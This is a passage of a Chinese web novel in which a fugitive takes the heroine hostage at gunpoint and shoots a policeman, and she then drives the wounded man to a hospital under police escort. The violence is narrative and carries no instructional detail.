他希望女儿孙佳人嫁给罗恒的儿子,以姻亲关系捆绑两家,就不希望陆天的事被爆出来。
后来,他想到一个捆绑罗恒得更好办法,那就是利益。
送罗恒一阵东风,再抓住这阵东风作为把柄,促成两家的婚事!
林裕宝是真咽不下这口气,女儿在眼皮底下出事,还是陆天这老混蛋……是可忍孰不可忍。
他对孙不二说:“大哥,我杀了陆天后若出了事,我一力承担,不会连累你!”
孙不二沉默半响:“随你。”转头就和罗恒说这事,“你往上走的机会来了!不过,事要做漂亮,不能暴露我们自己。”
罗恒自然是笑纳,借这两颗人头,打进市局,成为市局局长。
林裕宝枪杀陆天,自认为事情办的天衣无缝,却不想成为罗恒进入市局的政绩。
他甚至不知道真正出卖他得是孙不二和罗恒。
林裕宝进去后,林菲儿担负起照顾弟弟的责任。她要赚钱,只能把弟弟寄养在叔叔林裕钱家。
前世,赵晓琳大学放假回家,巧遇林裕钱殴打林飞成,帮助了那个十五岁大的少年。她看少年可怜,还带他回家住了一晚。因而,两人结下一段孽缘。
这一次,两人的相遇比前世提早三年,而后果未知。
——
林家院子里,林兰香做满满一桌菜。
因条件有限,一个荤菜,一个荤素搭配,其它都是素菜。
林兰香高兴地宛如过节:“今日个啊,你爸被咱们新建造纸厂选上做工人。以后,他可以上班赚钱了。”
“真的吗?不愧是镇政府出面,这厂建得真快。我路过江边的时候看到他们还在仓库外面动工挖土,没想到里面已经可以开工了。”
林语晨拿碗进堂,一一摆下碗筷,“爸,今天高兴,喝一杯吗?”
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“好啊。你也来一碗。对了,姓楚的小子——叫楚邵的,上次说你能喝酒。你和他出去喝过啊?”林大宝提来酒壶,倒一碗放到女儿面前,结果挨了林兰香一筷子。
“嘶,疼!”
林兰香白他:“疼死你活该。女儿得背书,喝醉了背个啥。”
老来不正经,有些事就不该问。
“没事,妈,我就喝一点点。爸,我和他没喝过酒,他这人就是会哄会骗能吹牛。”林语晨接过林爸递来的酒碗。
一家三口边吃饭边说起村里的趣事。
“造纸厂旁边的几亩田被征用改建污水处理池。村委不仅赔了钱还重新给他们划了地,真是赚大了。”
林兰香说起这个很羡慕,“不像咱家的地,远在赵家村边上。哎,又远又高,灌水还麻烦。”
“妈,那是人家的时运。爸,祝贺你入职,干。”
林兰香赶紧说:“等等,我也来一点,庆祝咱家以后是工人家庭。”
“哈哈,晨晨去给你妈拿碗。”林大宝等着碗来,给林兰香倒小碗。
一家三口举起碗碰个,边喝边笑。
林大宝喝大口,“斯哈”一声品着味:“差点意思。若是有归在,才够意思啊。”
母女两人同时翻个白眼,高兴地吃菜。
林兰香搁起筷子:“沈嫂子好几个星期没回来吧,不知道她的身体怎么样?”
“妈,婶婶得照顾上班的有归哥,以后他们就是城里人了。”
林语晨笑弯眼,说起另一事,“对了,妈。今天我碰到林裕钱在打林裕宝的儿子。”
今日被林飞成的眼神刺着了。
她好奇问:“林裕钱会不会把侄子打死啊?”
“林裕钱是个窝里横,几个村子里都出了名。”林兰香一脸嫌弃,“以后碰上他站远点,别沾上。小孩爸呢?”
林语晨发现家里还不知道县里发生的大案子,就解释了下林裕宝、县局罗恒被通缉、被抓的事。
林大宝感叹:“原来是这事,听说了一点,这还真是大案子。这就是有归办的案子吧?”
女儿没应声,权当她默认,继续说起林裕宝。
“没想到风光无限的林裕宝被通缉。世事无常啊。”
林兰香哼了声,不搭理这话。
林大宝抿口酒,说起妻儿感兴趣的话题:“林裕宝出事,若是他女儿不管弟弟,这儿子只能去他叔家。林裕钱这个叔叔是遗腹子,同林裕宝关系不好,不会尽心的。”
两双眼睛瞬间亮过来,林大宝无语地噎了下,听着妻子催促,慢悠悠说:“林裕宝是大哥,他爸在他十岁的时候去世。林裕宝的妈在几个月后说有孕了,还是林裕宝爸爸的种,遗腹子。按理说她不可能怀孕,大家也不相信,也没人管,就等着她把孩子生下来。这生下来得就是林裕钱。
那段时间,林裕宝的大伯一直照顾弟媳、侄子。有人说林裕钱其实是他大伯的种。
这大伯也不太拎得清,不晓得避嫌就算了,还明着照顾他们孤儿寡母好几年,一直到病逝。
因为这事,林裕宝总被人笑话,也不喜欢林裕钱。两兄弟不仅不亲,还有嫌隙。
林裕钱没长成前,还扒着林裕宝过活。
后来,林裕宝娶了王秋香。林裕钱没成年就娶了现在的老婆。两兄弟的日子不仅没好,还越过越困难。
林裕宝觉得弟弟一家是田里的血蛭,专来吸他血。
林裕钱却怀疑年轻的老婆和林裕宝有什么瓜葛,动不动就打老婆。
老太太一过世,林裕宝就带王秋香、女儿跑镇上混,认识现在宝誉歌舞厅的孙老板,从此开始发达。他有钱了,又没把林裕钱带出去。你们说,这两兄弟的关系能好吗?”
上次林大宝想着请林家的人帮忙打听县高、县里租房子的事才搞明白这里头的关系。
偏林裕钱还要面子,总要对外面说“我哥在县里怎么样怎么样”,有些人就真以为林裕钱跟着鸡犬升天。
林大宝就是这些人里一个。他不提这茬,喝着酒,听妻儿在理林家的血缘关系,拍下嘴:“行了行了,别人家的事少关心,咱们过好自己的日子。”
林兰香已经非常感兴趣了。
“这么说,林裕宝觉得林裕钱是堂兄弟?”
林语晨:“林飞成就是林裕钱的表堂侄子?”
林大宝发现女儿脑子聪明,但理不清亲戚关系,也懒得解释:“听听就得了,别在外乱说。他们一家子都不好惹。”
林语晨想起林妈以前说——林裕宝这支在祖父时期就欺负过自家祖父,由此看出,林爸这支不喜欢惹麻烦。
她含笑说:“不是爸先说嘛。”
林大宝不跟两人斗嘴,想起日前赵有归和楚邵在自家接头的事。
“有归和楚邵一直在咱家碰头,就是为这案子吧?”
林语晨看两夫妻望来,低头扒饭:“我哪知道啊,我又不是警察。”
林大宝点头,接着说:“林裕宝的妻子王秋香一年前跟人跑了。孩子没人管,只能落在林裕钱家。”
林兰香啧啧:“这孩子有苦头吃了,不知道他妈听说后会不会回来。”
林语晨心道不会回来。前世王秋香就没出现过。
“希望他皮糙肉厚能抗打吧。”
林兰香的洛克敲在林语晨脑袋:“怎么说话呢?”听着像是希望他被打死。
林大宝赶紧拦妻子:“吃饭敲什么头啊,晨晨被你敲傻了,还怎么背书……改改你这打人的毛病。”
林语晨不等林妈发作,赶紧委屈:“就是嘛!我担心赵晓琳。今天她碰上这事,站出来帮小孩说话。别到时候没沾上恩,惹一身腥。”
林兰香回过味:“我跟晓琳她妈妈——赵雪梅说一声,林裕宝不是东西,儿子保不齐也坏,还是让晓琳避着他们些。赵雪梅跟她女儿说,比你讲强得多。”
“嗯嗯。我就是这个意思。谢谢妈。”林语晨松口气,夹菜放进妈妈的碗里,“多吃点。”
林大宝直摇头:“一个愿打一个愿挨啊。”微微笑着,一口酒、一口菜吃喝着。
隔日周六,张茉莉踩辆女士自行车找来赵家村,在村里人的帮助下找到林家。
“林语晨,快出来。”
林语晨拿着书出门,看到她有些吃惊:“你怎么来了?”
“我来找你玩啊。”张茉莉嘻嘻笑,“明天我哥去市里。他会开车去,你去不去?”
赵晓琳已经被亲妈说通林飞成的事,跑来林语晨家一起复习。
她从房里跑出来,激动说:“真的吗?我能去吗?”
张茉莉挑眉:“可以啊。一个是带,两个也是拉,去吗?”
林语晨捏着书:“干嘛去啊,我时间很紧啊。”
“哎呀,你这水平和我差不多,咱俩差不多得了。对了,我小婶很厉害,在灵江市教育局,可以请她帮你规划下职业生涯。你回来复读,总不能一个大专学校都考不上吧?哈哈哈哈……”
林语晨知道她是大直肠子,还是忍不住生气,跑过去挠她。
张茉莉眼疾手快地摆好自行车,躲着她跑起来,又拉赵晓琳挡着人。
“抓不着我,抓不着我……哈哈哈……”
“你……被你气死。”林语晨抓住赵晓琳,“你让开啊。”
“不行。我不是怕她吃亏,我是怕你吃亏。”赵晓琳嘎嘎笑,“回头她没收住力,遭殃得不还是你吗?”
“哈哈哈……”张茉莉捂着肚子大笑,“你这样气不死她。哈哈……”
林兰香回来看见家里这么热闹,也跟着开心。
晨晨自从离开学校后就没有这么高兴过,像是被什么压着逼着,好像一定要做出点像样的事才算活着。现在,她有新朋友、新同学、新目标,大家一起玩闹,一起笑,一起努力……这让林兰香感到非常欣慰。
她跟姑娘们打声招呼,又说:“茉莉、琳琳,一起在家吃饭。我去抓只鸡,给你们做瓦罐焖鸡,老香了。”
三个女孩抱作一团。
张茉莉和晓琳齐齐说:“谢谢阿姨。”
林兰香不管她们闹,到后院的鸡笼里逮只鸡。
一个戴草帽的精瘦男人扛着锄头从篱墙外过去。林兰香停下来瞻两眼,赵家村里的人就没有不熟的,但这个背影有点陌生。
她也没多想,抓着咯咯乱踹的鸡回前院。
头戴草帽的男人听着林家的乐闹,回头望去,透出矮墙看到离去的林兰香。
他压低帽子冷笑了声,扛着锄头,动作敏捷地窜进赵有归家。
48. 撑住啊
吃过午饭的三个女孩一起在村里玩了一会,傍晚前散场离去。
张茉莉同两人约好,明早在县里碰头,一起搭张天鸿的车子上灵江市。
翌日,林语晨起个大早,比她还早得是赵晓琳,不等林语晨洗完脸就闯进来。
“语晨姐,好了吗?”
林语晨扒下洗脸毛巾看天色,太阳都没露头,天边山头一点光,也就六点不到。
“你这也太早了吧?”
“哎呀,市里远嘛,早点去可以多玩一会。”赵晓琳给她接过林兰香盛的早饭,“赶紧吃,吃完了,抓紧出发。我哥说,他骑自行车带我们上县里。”
“啊?”林语晨差点把粥吃进气管,“晓鹤……会骑车了?”
“语晨,晓琳,好了吗?”赵晓鹤戴着黑框眼镜、推着自行车到林家门口,兴奋地奔进来。
林语晨的心紧跟提起来,想起上次看赵晓鹤骑车的场景,免不了担忧。
“我……其实在家背书……挺好!”
“哎呀,张茉莉不是说她小婶可以帮你规划专业吗?你的成绩选哪个专业都悬啊,请人家帮你参考,对你有好处吧。”赵晓琳急速转着脑子,抓在胸前的帆布包肩带,“我听茉莉说她哥哥会去趟市局,我们得抓紧时间啊。”
林语晨恍然大悟地看向这妹子:“你是为了……”
“语晨,你已经复读就不要放弃。我支持你。”赵晓鹤紧跟着妹妹说,打断了林语晨的话。
“你也要去市里吗?”林语晨已经猜到赵晓琳想去找赵有归或者沈秋霞,放下吃干净的碗,接过闷笑的林兰香递来的包,“妈……”
“我给你放了二十块钱,去玩吧。晚上早点回家。”林兰香推三人出门。这群年轻人叽叽喳喳,吵得人烦。
赵晓鹤:“我送你们上县里。上周我去市里配过眼镜,就不去了。”
林语晨站在黑正大的自行车前,看着赵晓鹤跨坐上凳子,心里还是悬得慌。
“怎么坐啊,赵三叔呢?”
“三叔最近没空,三婶那边的亲戚要拉货,他住那都不回来。”赵晓琳选择坐后座,“语晨姐,你坐前面。”
前面意味着被赵晓鹤圈在怀里。
林语晨的脸皮发热,拉开赵晓琳:“你坐前面,我坐后面。不然,我不去了。”
赵晓鹤嘻嘻笑:“行啦。晓琳,你坐前面来。”一直盼着载语晨一趟呢,坐前面最好,坐后面也成。
林语晨不敢侧坐,怕赵晓鹤的力气不够,把不稳车龙头,选择跨坐在后凳。
只是后车凳也高,脚尖堪堪点到地,却使不上力。只盼着摔倒前,提前踩在地上,帮着稳一把车子。
赵晓琳侧坐在前面的大横档。
赵晓鹤吆喝了声,一脚蹬稳稳地驶出去。间或有摇摆的情况,被他熟练地稳住了。
赵晓琳倾身向前,努力不挡亲哥的视线:“哥,我和语晨姐是不是很重?你看你,骑得好慢啊。”
赵晓鹤铆足力气踩脚蹬,侧头说:“语晨,你一点都不重。”
林语晨忍俊不禁:“别硬撑啊。上坡的时候,我们下来走。”
赵晓鹤看似文弱,农村长大的孩子还是有点力气。何况,林语晨在后座,赵晓鹤踩脚蹬都不觉得吃力,只感觉有使不完的力气。
等三人到县上,赵晓鹤的脸红得像是涂过红墨汁,有点虚脱,满脸满后背的汗,跟下雨似。
他接过林语晨递来的手帕,舍不得擦,捞起贴身的汗湿背心就抹脸。
“没事,别脏了你的帕子。”
林语晨接过他的眼镜,用帕子细细地擦去上面的热气,再递回去。
又看到他湿成坨的头发:“我帮你把头发擦一下吧。不擦干,等着伤风吧。”
“嘿嘿……”赵晓鹤戴回眼镜,笑得像个傻子,把脑袋凑近林语晨,“你擦,使劲擦。”
赵晓琳看得直乐:“哥,美得你,汗臭味都熏着语晨姐了。”话没说完,接住林语晨抛来的手绢,“语晨姐……”
“你给你哥擦。我去趟对面的公共厕所。”
林语晨赶紧走开,一边是真不能让赵晓鹤累病,一边得找机会跟赵晓鹤说清点事,免得两兄妹剃头挑子一头热。
林语晨进公厕,准备出来时被一道身影堵在门口,瞳孔愕然大睁:“林……救……唔……呜呜……”
林裕宝抢先捂住她的嘴,逼得人贴靠在墙面,粗噶的声音恶声恶气说:“别出声,否则老子毙了你。”
林语晨感受到抵在腰间的冰冷尖锐,惊恐过后试图镇定,连连点头。
林裕宝胡子拉碴,黝黑的枪口抵着林语晨的腹部,冷嗤着:“呵,前天我儿子在村口挨打,赵松林的侄女要帮忙,为什么阻止她?”
林语晨的眼睛睁得越发大:林裕宝看到了?那他……
林裕宝绕到林语晨后面,一把拉弯林语晨的脖子,向后抵在自己的胸口,俯视眼神惊恐、吃痛上看的林语晨。
“楚邵喜欢得是你吧?大龄女学生。我女儿一直记得你,说你喜欢楚邵。”
林语晨绷着脸皮,反手抠他抓辫子的手,发现自救无望:“救……”
然而,字没出口,结结实实地挨了一巴掌,连头都撞在厕所墙壁的铁管。
一时间,她整个人昏呼呼,嘶哑地喊着:“……命……救命……”
林裕宝提起林语晨的衣襟,冷看她留下的鼻血和半脸的铁锈,恶劣说:“我不会杀你。认识赵有归吧?你们一个村。这家伙和张天鸿串通一气到我的地盘卧底,害我变成通缉犯。张天鸿要带你们去市里对吧?”
声音阴恻,还带着杀意,“我要你帮我上那辆车。否则,枪子不长眼,打中你们谁,都够你们受。”
“你……别……乱来。”林语晨吸了吸鼻子,撑着墙试图站直,“县里布了警力,啊……”
胸口又挨一拳,一口气憋在肺部差点转不出来。
“唔……嗬嗬……嗬嗬……”
“警力?罗恒、赵田……被抓,县局人人自危,还想有人救你?做梦!
安分点,否则,老子现在就杀了你。
凭他们也想抓我?不知道老子十几岁就把周边村镇都摸熟了?呵呵呵……”
林裕宝看起来又残酷又急躁,原地转两圈,从公厕的窗户里看到驶来的吉普车,又兴奋起来,“张天鸿来了。”
公厕对面,张天鸿下车,跟着张茉莉和她的同学汇合,认识只听过其名不知其人的赵晓琳,夸大姑娘几句。
“茉莉,去买早饭吧,给同学也带点。哎,林语晨呢?”
赵晓琳看向公厕方向:“她去厕所了,一会回来。茉莉,我们都吃过了,别帮我们买。”转头又对翘首以盼的赵晓鹤说,“哥,你先回去吧。”
“我等等语晨。”赵晓鹤看向公厕方向,突然发现林语晨露出半张脸,“语晨……怎么……好像有血?”戴上眼镜后视力清晰的赵晓鹤发现不对劲,正要跑过去被张天鸿一把拉住肩膀。
张天鸿不让他过去:“看起来不对劲。你去县局报警,快。茉莉……”
张茉莉一口热包子,含糊说:“哥,什么情况?”看向公厕方向,没看到人影,“林语晨掉厕所里去了?”
赵晓鹤不肯离开,掰开张天鸿的手,使劲向厕所跑。
然而,不等他进去,林语晨走了出来,身量颇高的她后面遮着林裕宝一半的身形。
赵晓鹤也察觉危险,紧急停下脚步,震惊喊:“语晨?”
林语晨沙哑地喊了声:“别过来!”
张茉莉骂了句脏话,把包子和袋子塞进赵晓琳手里:“找地方躲起来,快。我听说他手里有枪。”
“啊?”赵晓琳懵了,第一反应找赵晓鹤,“哥,你快回来啊。语晨姐……怎么办啊?”
张天鸿已经越过赵晓鹤,擦身时沉声说:“别拎不清,快去报警。”几步站在林语晨面前,看见她的惨状很心惊,“林裕宝,我劝你别一错再错,趁早投降。”
“嘭”得一声,林裕宝挟持林语晨,侧头给张天鸿一枪。
张天鸿往旁边滚,躲开去。
赵晓鹤没这么好运,枪子擦着他的脸庞飞出去,击穿后方的商铺墙体才停下,而他已经吓懵,腿软地动不了。
“张天鸿,老子不是吓大,你把车开过来,带我去个地方。”
林裕宝从林语晨后面探出头,一手掐着林语晨的脖子,枪口抵在林语晨的太阳穴,“否则,她先死。”
“你别乱来。”张天鸿急速喘息,目似四周:行人已经躲开,应该有人去报警。
林裕宝也知道这情况,嬉笑着又打去一枪。
这次他对准僵直的赵晓鹤。
张茉莉猛扑过去,抱住赵晓鹤就地滚开:“你傻啊,还不快躲起来。”直接爆粗口,转脸又是,“哥……小心啊……”
赵晓鹤直愣愣地看向发光的张茉莉,不等张茉莉和张天鸿汇合就拉住她的手臂:“别别过去……他有枪!”
“你放手,真碍事。”张茉莉回头吼他。
“茉莉闭嘴,你也往后退。”张天鸿看见茉莉救人,心都提到嗓子眼,对神情疯癫的林裕宝说,“好,我去开车。你别再开枪啊。”
说完,疾跑过去开车。
待车过来,林裕宝让林语晨打开车门,推她坐进去,拿枪抵在张天鸿的后脑勺:“走,离开江源县上灵江大桥。”
“你放了林语晨。她跟这件事没关系。”张天鸿不干。
嘭得一声,又是枪响,惊住试图上车的张茉莉。
张茉莉大喊:“哥……”跑到车子正前方,看到他哥惨白张脸、捏紧右手大臂,口型在说“茉莉……别过来!”
车子里,张天鸿抱着右臂,仰头憋住这股疼痛。
“开车!撞过去!”林裕宝再次拿枪抵在张天鸿的额头,“这枪我直接对准你脑袋。我变成这样,有你的功劳!”
林语晨摸把鼻血,林裕宝的注意力都在张天鸿和外面,猛扑过去,试图抬起他的手臂。
然而,设想很好,现实是她被回头的林裕宝再次猛击一拳。
“啊……呃啊……”这次痛彻心扉。
林语晨趴在后座,半天没能直起身。
张天鸿急切喊:“住手,林裕宝……我开车!”
“开车。”林裕宝激动地大喊,听着车子启动,看着他使劲按喇叭逼开外面的妹子,看着远处跑来的警察,哈哈笑着大吼,“别按喇叭了,冲过去。否则,我杀了她。”
“我冲。”张天鸿也大喊了声,忍着手臂的痛,一松刹车、轰油门
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,车子在百米内提速,直冲出去。
张茉莉闪开后一路追跑:“哥……哥……林语晨……”
赵晓鹤也追,没出一百米虚脱地跪在地上。
赵晓琳赶紧拉住他,急哭了:“哥,怎么办啊……”
车子在林裕宝的要求下一路闯关,撞开拦路的警察,直奔江源县外。
“呵呵呵……哈哈哈哈……过瘾过瘾……”车里的林裕宝激动极了,“老子躲了几天,憋屈极了,总算出口恶气。张天鸿,你给我好好开。”
“林裕宝,你想干什么?林语晨跟这件事没关系,你放了她。”张天鸿一边开车,超过辆进市里的公车交,上了两边都是田野的国道。
“放了她?这娘们心肠毒得很,看我儿子被打,不出手帮忙就算,还阻止别人帮忙。我怎么可能放过她?何况,我女儿一直当她是眼中钉。去年,这女学生被骗去市里,要被孙不二的人带去边地,竟从车站里逃了。命大得很。”
林语晨缓过劲,扶着副驾驶的椅背坐起来:“呵,你女儿喜欢楚邵是吧?这狗东西是什么好女婿人选吗?送我……我都不要。”
“林语晨,你住嘴。”张天鸿怕她再次惹怒林裕宝,赶紧吸引林裕宝的注意力,“林裕宝,你上灵江大桥干什么?那地方车来车往,你被堵在那逃都逃不了。”
林裕宝冷哼:“谁说我要逃。老子后事都安排好了,这次找你和姓赵的报仇。”
张天鸿明白了林裕宝的决心,脑子里急速运转,就想着怎么救下林语晨。
“你那有孙不二带回来的货吧?林裕宝,你把东西藏哪了?这几天我们下发海捕通缉令抓你,找不到你,有人帮你对吗?这人是谁?”
林裕宝的枪口再次抵上张天鸿的脑袋:“你给老子闭嘴,再废话,老子一枪崩了你,自己来开。”突然,他像是反应过来,直接扣动扳机。
张天鸿一见情况不对,低头,猛打方向盘。
车子的轮胎发出刺耳的滋啦声,随一声枪响,驾驶室的侧窗玻璃直接炸开。
林语晨也眼疾手快提拉把林裕宝的后背衣服,随车子打转的惯性,脑袋磕在椅背,爬起来时发现张天鸿靠在方向盘上,正要去喊他,被突然醒过神的林裕宝抓住辫子。
“啊……放开……放手……”
她真受不住哭了,一边哭一边嚎,恨不得现在有把剪刀,不是剪断辫子就是捅死林裕宝。
张天鸿的脑袋磕在方向盘上,甩头醒来,侧身抓向林裕宝。
林裕宝压住林语晨,再次举起枪,气喘吁吁大喊:“你真他娘的不怕死啊。老子现在就崩了你们。”
“停!停!”张天鸿的眼睛被额头的鲜血模糊,举起手:“好,我带你上灵江大桥。咱们有一说一,是男人就不要动女人。她跟这件事没关系。”
“闭嘴。老子毙了你,再毙了她。”林裕宝被刚才的一撞搞得两眼发花,尤其上周五到现在,吃不好睡不好,整个精神状态都在崩溃边缘。
昨天,他看到儿子被兄弟打,恨不得杀了林裕钱。但是,一想到林菲儿在外地,若是没有林裕钱,林飞成连饭都没得吃,又只能憋下这股窝囊气。
晚上,他偷偷对儿子说:“飞成,别怕。现在忍着,等你长大,谁欺负你就十倍百倍讨回来。”
后半夜,他跑到赵家村,想找赵有归的父母做人质,却扑个空。
翌日,他无意中见到上林家的张茉莉……听见她们第二日要上灵江市,潜伏回赵家。第二日天没亮,先一步上县里蹲守,跟着林语晨进公厕。
“张天鸿,开车。”林裕宝再次切齿说。
张天鸿被逼得没办法,转身去开车。
然而,这次,一声枪响,穿透他的胸口。血液喷溅,洒在挡风玻璃和方向盘上。
“啊……天鸿哥……”
林语晨扑过去,被林裕宝拉甩在椅背,连腰都扭到了。
林裕宝嗬嗬笑着下车,打开副驾驶门。
他拖着奄奄一息的张天鸿上副驾驶。这具“尸体”还有用,给姓赵看,或许能逼他们放了孙不二。
林语晨的手脚发抖,看林裕宝关上副驾驶的门,没有立即转去驾驶室,而是到路边去撒尿。
手脚并用爬过去,轻轻地拉调好椅子,再一把关上驾驶室门,按下锁窗的插销,慌手慌脚地启动车子。
林裕宝听到动静,一提裤子就开枪,车子已经猛冲出去。
他怎么都没想到林语晨会开车!这年头,村里女人会开车比大熊猫还稀少。
“臭娘们……”一连几声枪响,打在吉普车的后玻璃上。
玻璃飞溅,刮在林语晨的手背。
她忍住颤抖,去看被鲜血染红的张天鸿,拼了命往市里赶去。
“天鸿哥,你撑住……撑住啊……”
“林语晨,你……竟会……开车……”张天鸿还真没死,眨眼看去,只能看到眼下一片衣襟和血糊糊的胸口,“我……好像快……不行了。”
“没有事情在不努力前就说不行,包括命。”林语晨激动的大声喊出座右铭,“张天鸿,我告诉你,你要死也是死在什么灭门案后,不可以现在死。”
她把档位敲最高,油门踩到底。
前世,有豪车,都没开这么快,何况是五档位的手动挡。
49. 金翠城
乌拉乌拉的警车声从远处过来。
林语晨有心想停,先侧身、伸手摸在张天鸿的鼻息下,紧绷的神经感受到他进气少出气多,毅然决定不停车,继续驶过去。
赵有归在警车里注视那辆疾驰而来的熟悉车子,一眼望见挡风玻璃上的血迹,还有血后模糊的开车身影。
他朝宋景说:“前面过来是张天鸿的车。县局的人说林裕宝上这辆车。”拿起对讲机,通知后面的警车拉警戒线。
距离林语晨开的吉普车500米左右的地方,警车已经布防排开。
林语晨已经设想到前方警察的阵仗,心急如焚,拿起车上的摆件,把驾驶室窗户砸得更破,换挡点刹,探出头,撕破嗓子似大喊:“让开啊……林裕宝不在车里,张天鸿中弹了……”
两车紧急避让,擦身而过。赵有归的喇叭还没响,见到人、听到声后心里一惊,又赶紧用对讲机通知后方的警车让道。
宋景开车,极限调头,已经想骂人:“我去,这女是谁?开这么快!”
吉普车连停顿都没有向警戒线冲去,穿过后紧接着又是换挡提速。
赵有归让宋景追上去,用喇叭喊:“林语晨,你减点速,把车往旁边让一点。”
——她是人质之一?伤得也不轻啊!
宋景听到这个名字吃一惊,抓住机会提速,让两车保持半个车身距离。
林语晨已经在减速,上灵江大桥后两头来的车子多起来。
若这样进市区会被人工信号灯或别的车子拦道,必须与赵有归的警车合作才能更快进医院。
赵有归果断让宋景再加速。
宋景眼红了:“你不如让嫂子再慢点。”
赵有归拿喇叭说:“林语晨,张天鸿情况怎么样?”
林语晨得空瞥后视镜,等车子平齐,泛青紫、绷得死紧的脸总算有些松动,也不管外面听不听的清楚,朝赵有归喊:“张天鸿中枪,在胸口,情况很危急。林裕宝……林裕宝在不到狮虎村两公里的国道上跑了。赵有归……我不能停……不能停……你们为什么不带救护车?啊……”
赵有归听清这番话,还真想解释一句:这时候还没救护车随警的机制。
他用对讲机让后面跟着的警车去狮虎村附近追查林裕宝,朝宋景说:“快,一定要超过她,到前面去给她清道。”又拿喇叭喊,“林语晨,你稍微再减点速,警车帮你清道,可以让你无阻碍进市区,你不要停。
我通知总台联系医院那边,你跟警车走。”
“好。”林语晨的身体被冷风吹僵硬,心里却异常滚烫,脑子又极其冷静,像从前那些做选择的时刻,非常明白这刻该做什么、该坚持什么。
她稍许松油门,让警车跑前面。紧接着警车提速,她再次轰油门,跟上去,“天鸿哥,你坚持住,赵有归来了。”
“我……听到……”张天鸿斜着软靠在椅背,听着乌拉乌拉的警铃声,仿佛入一场梦境。
梦里,他穿着迷彩作战服,与战友们站在一起,朝那鲜花盛开的美好之地奔去。
——
林语晨一个急刹车停在医院门口,一手护住张天鸿不向前扑去,再去拔车门插销,却发现手抖得握不住那小杆子。
赵有归伸手入驾驶室的破窗,拔起插销,与林语晨急匆匆对上眼。
两人什么都没说,赵有归已经观察林语晨全身,步履不停,转去副驾驶处,一眼看到张天鸿的现状,心都凉半截。
他迅速帮准备已久的护士把张天鸿送上急救床,疾追两步,又忽然回头,奔至吉普车的驾驶室门口。
宋景扶着林语晨下车,眼里是心惊和心疼:“怎么伤得这么重啊?”
“怎么样,还能坚持吗?”赵有归眼疾手快扶住软下去的林语晨,“林裕宝打的?”
林语晨抬眉,轻轻地点头:“有归哥……”这一刻,她忍不住落下委屈的眼泪。
宋景:……嫂子刚刚不还挺坚强吗?
“走。”赵有归泛着怜惜,心上也在发狠,抱起林语晨,进市医院大门就喊,“医生,医生……这里还有伤患。”
护士推张病床过来,等赵有归把人放上去,飞跑着推去急救室,深怕这也是中弹的患者。
林语晨看着凌乱还惨,幸好都是外伤。
医生检查完,竟也松口气,向警察说明情况。赵有归听后提着的心微微宽泛,随即又绷紧,吩咐宋景两句就跑了。
医生只能叮嘱宋景:涂抹药膏化瘀,最好留院观察。
林语晨看向走来的宋景,急切问:“天鸿哥怎么样?”
“他在急救,赵队赶去抓林裕宝,替嫂子报仇。嫂子,感觉怎么样?若是还行,我帮你做份笔录吧。”宋景的眼里满是佩服。尽责也是真尽责。
“……你别乱喊,我还是“高中生”。我们去手术室门口等吧。”林语晨下床时腿有点抖,感觉脚还在用力踩油门。
前世,自从学会手动挡开车后从来没有最高档位一直开到底的经历。这次是真过把瘾,还是警车开道,指挥交通信号的警察帮着截车。
只希望这辈子别再有这种经历。
手术室门口,张德梁带着妻子唐琪和女儿张茉莉匆匆赶来。
林语晨往旁边让,被张茉莉抓住手臂:“茉莉,对不起……”
张茉莉哇得一下憋不住眼泪,一把抱住林语晨:“我听警察说了,你开车带哥哥进医院,一路都没停。我哥他……”
宋景见不得这场面,解释说:“人还在手术。”
张德梁肃张脸,沉声问:“赵有归呢?”
宋景迫于他的气势,赶紧说:“赵队去抓林裕宝了。这次一定不能让他跑了。”
“他最好能把人抓住。我把儿子交给他,竟然……出这样的事。”张德梁碰到亲人危在旦夕的紧急时刻,顾不得理智这回事。
唐琪挽住张德梁的手臂:“我知道你担心。但这和赵有归没关系。”
张德梁急起来想说:怎么没关系了?抓个人抓一星期多,还搞出这状况……
在妻子的安抚下,他深吸口气,压住这份心急。
手术室的灯灭了。
医生走出来,看到一大群人,赶紧摆手:“……病人暂时脱离生命危险,已经转去今年新建的紧急病房,有专人看护。一共两颗子弹,一颗打在右手大手臂,没有伤到骨头。一颗是从后背肩胛下穿过肺腔。”
比了个从高到低的斜插手势。
“没伤到心脏和肺。运气不错!”
这四个字有点调侃,却给家属极大的力量,现场的压力瞬间减轻。
医生缓口气:“送得非常及时。病人也做过自救训练,手按在伤处,及时调整呼吸状态,内出血量不至于堵住腔体。我们进行清腔、缝合、输血等处理……失血还是有点多,人还在昏迷,需观察。等病人醒来,再看情况。”
张德梁一家人到底松口气,谢过医生和护士。
张茉莉握着林语晨的手,擦着眼泪:“听起来还好。呜呜……你怎么样,嘴角都破了,脸都青紫了……”
“我还好,都是外伤。”林语晨看到走来的唐琪,微微点头,“阿姨,叔叔……”
唐琪感激地说:“你就是林语晨?谢谢你。”
林语晨:“天鸿哥救了我。”
宋景轻舒口气,这次行动被命名为518大案。两个队友受伤,加上张天鸿是三个人。哦,算上嫂子是四人。话说,嫂子开车的本事真厉害!
大家正要去看望张天鸿,一个卷发女人从过道尽头跑来,用着很浓的外乡口音,气喘吁吁问:“张天鸿……张天鸿……怎么样?”
唐琪反应最快,上前问:“请问你是?”
“我……”金翠城的脸色由红转白,摇头说,“我是他朋友。他人呢?”
宋景赶紧介绍:“这位是张天鸿的母亲。金翠城,你不是今天的火车离开灵江市吗?”
“宋警官。是。张天鸿说好今天来送我,但是我一直没等到他,听到城里闪过一溜警车声,感觉会出事,就去了市局。
他们说他出了事在这里抢救,我就赶过来。”
金翠城很漂亮,只是眼神躲闪,不敢看张德梁等人。这些人是张天鸿的家人。对于她来说,那是遥不可及的存在。
唐琪好奇地看向宋警官:儿子什么时候有红粉知己了?
宋景强拉唇角,机灵的眼神似在说:我也不清楚两人啥关系。
“金翠城……曾经帮助过我们。”
她是518大案的受害人之一。当然,现在开始,这个身份对外保密!
唐琪已经明白他的话意,柔声解释:“谢谢你的关心。天鸿在加护病房,医生说伤势情况还好,只是失血过多,还得等他醒来。”
金翠城的神情开始放松,环顾一圈人,捏紧手里的包:“我会为他祈福,谢谢你们。”朝张家人鞠躬,转身后快步离去。
张茉莉看着那道落寞的背影,忽然说:“她好像小人书里那种忍辱不敢爱的女主角啊。这是……我哥招的桃花吧?”
林语晨想说两句,扯到唇角,“嘶”了声,胸腔也嗡嗡地疼。
护士跑过来:“林语晨?病床给你安排好了,需要留院观察两天,跟我走吧。”
林语晨有心拒绝,除了有点痛、行动迟缓外,并没有大的问题,也怕林爸林妈听说后着急。
唐琪安慰她,说是会帮忙去赵家村报信。
